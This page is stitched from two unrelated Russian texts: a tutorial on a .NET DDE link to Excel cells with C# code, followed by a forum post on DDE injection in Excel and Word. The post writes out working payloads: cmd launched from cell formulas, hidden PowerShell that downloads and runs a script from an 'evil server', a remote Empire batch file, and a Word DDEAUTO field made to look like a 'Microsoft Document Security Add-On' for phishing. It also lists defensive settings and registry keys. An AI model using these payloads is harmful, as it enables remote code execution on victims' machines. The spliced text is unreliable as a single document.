           IntPtr hsz1,

           IntPtr hsz2,

           IntPtr hData,

           uint dwData1,

           uint dwData2)

     {

          switch(uType)

           {

           // Мы обрабатываем только транзакции с данными

                case DDEML.XTYP_ADVDATA:

                 // Выполняем обработку транзакции

                                    …

                 // Возвращаем управление

                 return new IntPtr(DDEML.DDE_FACK);

}

           // Все остальные транзакции мы не обрабатываем

           return IntPtr.Zero;

     }

     // Идентификатор приложения

     private uint idInst = 0;

     public ExcelDDEHotConnection()

     {

           // Создаем делегат-переходник для функции обратного вызова

            _DDECallBack = new DDECallBackDelegate(DDECallBack);

           // Регистрация в библиотеке DDEML

           DDEML.DdeInitialize(ref idInst, _DDECallBack, 0, 0);

           // выполняем остальные инициализирующие действия

           …

     }

}

Прошу обратить внимание на то, что ссылку на делегат функции обратного вызова мы храним все время работы с DDEML. Если этого не сделать, то сборщик мусора .NET уничтожит этот делегат при очередной
сборке мусора, что приведет к тому, что во внутренних структурах библиотеки DDEML ссылка на функцию обратного вызова будет указывать на уничтоженный объект. Это, естественно, вызовет
NullPointerException
при попытке библиотеки DDEML вызвать функцию обратного вызова. Поэтому вызов функции DdeInitialize следующего вида нежелателен:

// Регистрация в библиотеке DDEML

DDEML.DdeInitialize(ref idInst, new DDECallBackDelegate(DDECallBack), 0, 0);

Забегая вперед, отмечу, что для отображения необходимых функций и констант библиотеки DDEML в компоненте ExcelDDEHotConnection служит класс DDEML.

Ниже приведен список остальных функций для работы с DDE:

Делегат функции обратного вызова:

     internal delegate IntPtr DDECallBackDelegate(

     uint wType, //Код транзакции

     uint wFmt, // Формат данных

     IntPtr hConv, // Идентификатор канала

      IntPtr hsz1, // Идентификатор строки (в нашем случае, строки раздела)

      IntPtr hsz2,  // Идентификатор строки (в нашем случае, элемента данных)

      IntPtr hData, // Идентификатор глобальной области данных, где находятся данные

     uint dwData1, // Дополнительный параметр (В нашей работе не рассматривается)

     uint dwData2 // Дополнительный параметр (В нашей работе не рассматривается)

     );         

Отображение функции DdeInitialize:

[DllImport(«user32.dll», EntryPoint=»DdeInitialize», CharSet=CharSet.Ansi)]

internal static extern uint DdeInitialize(

     ref uint pidInst, DDECallBackDelegate pfnCallback, uint afCmd,uint ulRes);

Отображение функции DdeUninitialize:

[DllImport(«user32.dll», EntryPoint=»DdeUninitialize», CharSet=CharSet.Ansi)]

internal static extern bool DdeUninitialize(uint idInst);

Отображение функции DdeCreateStringHandle:

[DllImport(«user32.dll», EntryPoint=»DdeCreateStringHandle», CharSet=CharSet.Ansi)]

internal static extern IntPtr DdeCreateStringHandle(

uint idInst, string psz,int iCodePage);

Отображение функции DdeFreeStringHandle:

[DllImport(«user32.dll», EntryPoint=»DdeFreeStringHandle», CharSet=CharSet.Ansi)]

internal static extern bool DdeFreeStringHandle(uint idInst, IntPtr hsz);

Отображение функции DdeConnect:

[DllImport(«user32.dll», EntryPoint=»DdeConnect», CharSet=CharSet.Ansi)]

internal static extern IntPtr DdeConnect(

uint idInst, IntPtr hszService, IntPtr hszTopic, IntPtr pCC);

Отображение функции DdeDisconnect:

[DllImport(«user32.dll», EntryPoint=»DdeDisconnect», CharSet=CharSet.Ansi)]

internal static extern bool DdeDisconnect(IntPtr hConv);

Отображение функции DdeClientTransaction:

[DllImport(«user32.dll», EntryPoint=»DdeClientTransaction», CharSet=CharSet.Ansi)]

internal static extern IntPtr DdeClientTransaction(

IntPtr pData, uint cbData, IntPtr hConv, IntPtr hszItem, uint uFmt,uint uType,

uint dwTimeout, ref uint pdwResult);

Отображение функции DdeGetData:

[DllImport(«user32.dll», EntryPoint=»DdeGetData», CharSet=CharSet.Ansi)]

internal static extern uint DdeGetData(

IntPtr hData, [Out] byte[] pDst, uint cbMax, uint cbOff);

Отображение функции DdeQueryString:

[DllImport(«user32.dll», EntryPoint=»DdeQueryString», CharSet=CharSet.Ansi)]

internal static extern uint DdeQueryString(

uint idInst, IntPtr hsz, StringBuilder psz, uint cchMax, int iCodePage);

4. Организация горячего канала Excel – приложение DDE.

В этой главе вкратце описано, как осуществить корректное подключение и отключение от ячеек Excel. Например, необходимо получить доступ к ячейке, расположенной во втором столбце и первой строке на
странице с названием «Лист1» рабочей книги «Книга1». Для начала необходимо зарегистрироваться в библиотеке DDEML и получить программный идентификатор idInst:

// Создаем делегат-переходник для функции обратного вызова

_DDECallBack = new DDECallBackDelegate(DDECallBack);

// Регистрация в библиотеке DDEML

DDEML.DdeInitialize(ref idInst, _DDECallBack, 0, 0);

После этого создаем канал связи с нужным разделом. В нашем случае, как было упомянуто выше, название сервиса: «EXCEL», а название раздела «[Книга1.xls]Лист1». Необходимо
помнить, что расширение файла необходимо указывать, если эта книга открыта из файла. Если осуществляется подключение к созданной, но еще не сохраненной книге, то расширение не указывается.

// Формируем название раздела

string szTopic = “[Книга1.xls]Лист1”;

// Получение идентификатора сервиса

IntPtr hszService = DDEML.DdeCreateStringHandle(_idInst, «EXCEL», DDEML.CP_WINANSI);

// Получаем идентификатор раздела

IntPtr hszTopic = DDEML.DdeCreateStringHandle(_idInst, szTopic, DDEML.CP_WINANSI);

// Подключаемся к разделу

IntPtr hConv = DDEML.DdeConnect(_idInst, hszService, hszTopic , (IntPtr) null);

// Проверяем результат

if(hConv!=IntPtr.Zero)

{

    …

}

// Освобождаем идентификаторы строк

DDEML.DdeFreeStringHandle(_idInst, hszService);

DDEML.DdeFreeStringHandle(_idInst, hszTopic);

После создания канала информируем Excel о том, чтобы приложение получало содержимое нужной ячейки, как только оно изменится («горячий канал»). Для этого посылаем Excel транзакцию
XTYP_ADVSTART:

// Формируем название ячейки

string szItem = “R1C2”;

// Создаем идентификатор строки

IntPtr hszItem = DDEML.DdeCreateStringHandle(_idInst, szItem, DDEML.CP_WINANSI);

// Подписываемся на тему

uint pwdResult = 0;

IntPtr hData = DDEML.DdeClientTransaction((IntPtr)null, 0, hConv, hszItem, DDEML.CF_TEXT, DDEML.XTYP_ADVSTART, 1000,ref pwdResult);

if(hData!=IntPtr.Zero)

{

    …

}

// Освобождаем идентификатор строки

DDEML.DdeFreeStringHandle(_idInst, hszItem);

Отключение производим в обратном порядке, сначала информируем сервер о том, что данные из ячейки нам больше не нужны, посылая Excel транзакцию XTYP_ADVSTOP:

// Формируем название ячейки

string szItem = “R1C2”;

// Создаем идентификатор строки

IntPtr hszItem = DDEML.DdeCreateStringHandle(_idInst, szItem, DDEML.CP_WINANSI);

// Подписываемся на тему

uint pwdResult = 0;

IntPtr hData = DDEML.DdeClientTransaction((IntPtr)null, 0, hConv, hszItem, DDEML.CF_TEXT, DDEML.XTYP_ADVSTOP, 1000, ref pwdResult);

if(hData!=IntPtr.Zero)

{

    …

}

// Освобождаем идентификатор строки

DDEML.DdeFreeStringHandle(_idInst, hszItem);

После завершения транзакции, закрываем канал:

//Закрываем канал

DDEML.DdeDisconnect(hConv);

И завершаем работу с библиотекой DDEML:

// Отключаемся от DDEML

DDEML.DdeUninitialize(idInst);

Необходимо отметить, что для всех трех режимов создается одинаковый канал. При этом для одних ячеек мы можем указывать «горячий» режим, для других – «теплый», а с третьими работать по явному
запросу. Для того, чтобы включить «теплый» канал, необходимо отправить Excel транзакцию, код которой состоит из побитной комбинации кода транзакции XTYP_ADVSTART и флага
XTYPF_NODATA
.

5. Компонент ExcelDDEConnection.

Компонент ExcelDDEConnection представляет готовое решение, позволяющее организовать «горячий» канал DDE между приложением .NET и Excel. Компонент состоит из нескольких классов, главный из
которых — ExcelDDEHotConnection. Экземпляр данного класса автоматически инициализируется в библиотеке DDEML при создании и отключается от ее при завершении своего существования.

Ниже приведены основные методы и свойства класса ExcelDDEHotConnection:

Название

Описание

ExcelDDEHotConnection()

Конструктор. Осуществляет регистрацию в библиотеке DDEML

TopicDescriptorCollection Topics

Свойство. Ссылка на коллекцию разделов. Раздел адресуется названием книги и названием страницы

void Dispose()

Завершить работу объекта. Закрывает все каналы и производит отключение от библиотеки DDEML

event AdviseDelegate Data

Событие. Происходит при изменении содержимого любой из подписанных ячеек. Событие вызывается для каждой изменившейся ячейки.

Коллекция разделов TopicDescriptorCollection.

Коллекция разделов представляет собой набор объектов, описывающий разделы. При добавлении раздела в коллекцию, происходит автоматическое создание канала, а при удалении – закрытие канала.
Коллекция не допускает дублирование одинаковых разделов. Раздел добавляется в коллекцию только в том случае, если удалось создать канал для этого раздела.

Название Описание

Result Add(TopicDescriptor descriptor)

Добавить дескриптор раздела в коллекцию. В качестве параметра передается дескриптор раздела. При добавлении происходит попытка создать канал с разделом, который описывает данный дескриптор. Если
такой раздел уже есть в коллекции, или не удалось создать канал, то данный дескриптор добавлен не будет. В первом случае функция вернет код возврата Result.AlreadyExists, а во втором случае –
Result.ConversStartError. В случае успешного выполнения, дескриптор раздела добавляется в коллекцию, а метод возвращает код возврата Result.OK.

Result Add(string book, string sheet)

Добавить дескриптор раздела в коллекцию. В качестве параметра передается название книги book и страницы — sheet. При добавлении происходит попытка создать канал с разделом, который
описывает дескриптор. Если такой раздел уже есть в коллекции, или не удалось создать канал, то данный дескриптор добавлен не будет. В первом случае функция вернет код возврата
Result.AlreadyExists
, а во втором случае – Result.ConversStartError. В случае успешного выполнения, дескриптор раздела добавляется в коллекцию, а метод возвращает код возврата
Result.OK
.

Result Remove(TopicDescriptor descriptor)

Удалить дескриптор из коллекции. В качестве параметра передается дескриптор раздела. При удалении происходит закрытие канала связи, при этом для всех ячеек раздела выполняется транзакция
завершения. Если дескриптор не существовал в коллекции, метод вернет код возврата Result.NonExistingItem, а в случае ошибок, возникших при закрытии канала – Result.ConversStopError, но
при этом дескриптор будет все равно удален из раздела. В случае удачного выполнения дескриптор удаляется из коллекции, а метод возвращает код Result.OK.

Result Remove(string book, string sheet)

Удалить дескриптор из коллекции. В качестве параметра передается название книги — book и страницы — sheet. При удалении происходит закрытие канала связи, при этом для всех ячеек
раздела выполняется транзакция завершения. Если дескриптор не существовал в коллекции, метод вернет код возврата Result.NonExistingItem, а в случае ошибок, возникших при закрытии канала –
Result.ConversStopError
, но при этом дескриптор будет все равно удален из раздела. В случае удачного выполнения дескриптор удаляется из коллекции, а метод возвращает код Result.OK;

void Clear()

Метод удаляет все дескрипторы разделов из коллекции, при этом происходит закрытие всех каналов.

void Dispose()

Метод завершает работу коллекции – закрывает все каналы и удаляет все дескрипторы.

int Count

Свойство возвращает количество разделов, зарегистрированных в коллекции.

TopicDescriptor this[string book, string sheet]

Возвращает дескриптор по названию книги и страницы.

TopicDescriptor this[int index]

Возвращает дескриптор по его порядковому номеру в коллекции.

TopicDescriptor this[string topic]

Возвращает дескриптор по названию раздела в формате Excel.

Дескриптор раздела TopicDescriptor.

Экземпляр класса описывает раздел данных. Каждый раздел содержит в себе коллекцию элементов данных типа ItemDescriptor, описывающих ячейки. При добавлении ячейки происходит отправка Excel
транзакции на подписку на эту ячейку, при удалении – транзакция на завершение работы с ячейкой.

Название Описание

TopicDescriptor(string book, string sheet)

Конструктор. В качестве параметров получает название книги и страницы.

Result Add(ItemDescriptor descriptor)

Добавить дескриптор ячейки в список подписанных ячеек. В качестве параметров получает дескриптор ячейки . При добавлении происходит отправка транзакции Excel на подписку на эту ячейку. В случае
успешного выполнения метод вернет код возврата Result.OK, а дескриптор будет добавлен в коллекцию. Если такой дескриптор уже существовал, или произошла ошибка при подписке, то дескриптор не
будет добавлен в коллекцию. В первом случае метод вернет код возврата Result. AlreadyExists, а во втором – Result.SubscribeError.

Result Add(int row, int col)

Добавить дескриптор ячейки в список подписанных ячеек. В качестве параметров метод получает номер строки row и номер столбца col. При добавлении происходит отправка транзакции Excel
на подписку на эту ячейку. В случае успешного выполнения метод вернет код возврата Result.OK, а дескриптор будет добавлен в коллекцию. Если такой дескриптор уже существовал, или произошла
ошибка при подписке, то дескриптор не будет добавлен в коллекцию. В первом случае метод вернет код возврата Result. AlreadyExists, а во втором – Result.SubscribeError.

Result Remove(ItemDescriptor descriptor)

Удалить ячейку из списка подписанных ячеек. В качестве параметров принимает дескриптор ячейки. При удалении происходит отправка транзакции Excel на отписку от данной ячейки. Если при выполнении
функции не произошло никаких ошибок, то метод вернет код возврата Result.OK. Если ячейка не существовала или при удалении произошли ошибки, то метод вернет в первом случае код
Result.NonExistingItem
, а во втором – Result.UnsubscribeError, при этом ячейка будет удалена из списка подписанных ячеек.

Result Remove(int row, int col)

Удалить ячейку из списка подписанных ячеек. В качестве параметров принимает номер строки row и номер столбца col. При удалении происходит отправка транзакции Excel на отписку от
данной ячейки. Если при выполнении функции не произошло никаких ошибок, то метод вернет код возврата Result.OK. Если ячейка не существовала или при удалении произошли ошибки, то метод вернет в
первом случае код Result.NonExistingItem, а во втором – Result.UnsubscribeError, при этом ячейка будет удалена из списка подписанных ячеек.

void Clear()

Метод отменяет подписку на все ячейки из списка  подписанных ячеек и очищает список.

void Dispose()

Метод отменяет подписку на все ячейки из списка  подписанных ячеек и очищает список.

int Count

Свойство возвращает количество дескрипторов ячеек в списке.

string Book

Свойство возвращает название книги раздела, который описывает данный дескриптор.

string Sheet

Свойство возвращает название страницы раздела, который описывает данный дескриптор.

string Topic

Свойство возвращает название раздела в формате Excel, который описывает данный дескриптор.

ItemDescriptor this[int index]

Получить дескриптор ячейки по его порядковому номеру в списке подписанных ячеек.

ItemDescriptor this[int row, int col]

Получить дескриптор ячейки по номеру строки row и столбца col ячейки.

ItemDescriptor this[string item]

Получить дескриптор ячейки по названию в формате Excel.

Дескриптор ячейки ItemDescriptor.

Описывает ячейку Excel.

Название Описание

ItemDescriptor(int row, int col)

Конструктор. Создает дескриптор ячейки строки номер row и столбца номер col.

int Row

Номер строки ячейки

int Col

Номер столбца ячейки

string Item

Название ячейки в формате MS Excel

byte[] Data

Массив с текущим содержимым ячейки.

Аргумент события Data – AdviseEventArgs.

Экземпляр класса передается в качестве аргумента в событии Data.

Название Описание

ItemDescriptor ItemDescriptor

Дескриптор ячейки, в которой произошли изменения. Получить новое содержимое ячейки можно, воспользовавшись свойством Data

TopicDescriptor TopicDescriptor

Дескриптор раздела, в котором находится ячейка, содержимое которой изменилось.

6. Литература и ссылки.

  1. Фролов А.В. Фролов Г.В. Операционная система Microsoft Windows 3.1. для программиста. Дополнительные главы – М.: «ДИАЛОГ-МИФИ» 1995. (Библиотека системного программиста. Т.17)
  2. Троелсен Э. С# и платформа .NET. Библиотека программиста – СПб.: Питер, 2004.
  3. http://custom.programming-in.net – Описание отображения функций WINAPI в .NET.
  4. Техническая документация MSDN – протокол DDE.

Всем привет! Решил немного написать о реализации DDE в MS Excel.

В этой теме был был предложен вариант для MS Word, он и стал отправной точкой для изучения схожей уязвимости MS Excel.
DDE — Dynamic Data Exchange. Полный список команд DDE вы можете найти

Ссылка скрыта от гостей

По аналогии с Word мы используем DDE функцию для вызова cmd. В MS Excel это довольно просто:
Вставляем в любую ячейку вызов функции cmd и задаем ей параметр. А1 — номер ячейки.

=cmd|’/c calc.exe’!A1

Параметр /c может быть изменен на /k *
Примечание: CMD /C запускает команду и выполняет ее, а CMD /K выполняет команду и возвращает нас в командную строку, позволяя выполнять следующие команды, так же полезно для тестирования переменных.

Первая часть пейлоада =cmd|’ дает инструкцию MS Excel вызвать CMD, а вторая передает команду CMD.
В нашем примере при запуске MS Excel юзер получит уведомление о том что ссылки нужно обновить.(что в целом безобидно)

dde test exel 01 warn.JPG

Во втором сообщение мы видим предупреждение о запуске cmd — что есть палево.

dde test exel 02 warn.JPG

Калькулятор запустился

dde test exel 03.JPG

Посколько у CMD есть ограничение на длинну аргумента в 1024 байта, 1024 это максимальная строка для функции CreateProcess(), то мы можем обойти это с помощью инструкций Powershell, например на удаленную загрузку нашего скрипта и исполнение его прямо из DDE.

Для этого сначала подготовим нагрузку в виде скрипта ps1 и положим на наш злой сервер.
Далее в указываем занчение ячейки:
=-2+3+cmd|’/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(»

Ссылка скрыта от гостей

«);IEX $e’!_xlbgnm.A1

С помощью функции DownloadString наш Powershell парсит строку по адресу

Ссылка скрыта от гостей

, и обрабатывает скрипт! Обратите внимание , эта функция работает только на Powershell версии 3 и выше.
Результат:

dde test exel 041.JPG

Так же мы можем запустить batch файл, например пейлоад сгенерированный powershell empire

=cmd|’/c \evilserver.comempire.bat;IEX $e’!A1

PS: Статья не закончена. В планах что-то придумать для скрытия предупреждения о запуске cmd.
Ну и было бы неплохо, если бы кто-то помог с шифрованием строки в base64. Я что-то с синтаксисом напутал, упорно не хочет считывать.
PPS: Всегда рад конструктивным замечаниям.
[doublepost=1508916320,1508489034][/doublepost]UPDATE:
Патч частично защищает от уязвимости.

Ссылка скрыта от гостей

Но лично у меня все работало и после установки апдейта. Для защиты лучше настроить все руками, дабы нерадивые пользователи не тыкали «ок» -> «ок» -> «далее» бездумно, ну и провести работу воспитательную.
Для админов рекомендую следующее:
Для MS Word
Параметры Word — Дополнительно — (раздел Общие) — Автоматически обновлять связи при открытии (снять галочку)

dde aouto off.JPG

После этого DDE не будет обработан.

Для Excel хуже.
Первый способ мягкий:

dde auto off excel.JPG

Параметры Excel — Дополнительно — (раздел Общие)
— Запрашивать об обновлении автоматических связей (поставить галочку)
— Игнорировать DDE запросы от других приложений (поставить галочку)

dde auto off excel.JPG

Результат- будет хотя бы уведомление

dde excel after fix.JPG

Метод решения радикальный, т.к. напрочь отключает DDE и возможно не всем подойдет:
Параметры Excel — Центр управления безопасностью — кнопка «Параметры центра безопасности» — Внешнее содержимое —
— Отключить все подключения к данным
— Отключить автоматическое обновление связей в книге

Результат — все дде блочатся напрочь

dde auto off excel3.JPG

ПС:
Еще это можно сделать через реестр

Код:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0WordOptions]
"DontUpdateLinks"=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0ExcelOptions]
"DontUpdateLinks"=dword:00000001
"DDEAllowed"=dword:00000000
"DDECleaned"=dword:00000001

Тут те же настройки кроме последнего решения для Excel
[doublepost=1509618109][/doublepost]UPDATE2:
Немного по скрытию запуска строки:

EXCEL

Код:

=MSEXCEL|'......WindowsSystem32cmd.exe /c \evilserver.comsp.bat;IEX $e'!''

Word

Код:

  { DDEAUTO "C:\Programs\Microsoft\Office\MSWord\..\..\..\..\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://server.com/evilscript.ps1'); # " "Microsoft Document Security Add-On" }

Тогда окно станет более безобидным:

Phish.JPG

Like this post? Please share to your friends:
  • Took the first word
  • Transfer pdf into word
  • Too strong of a word
  • Transfer html to word
  • Too small a word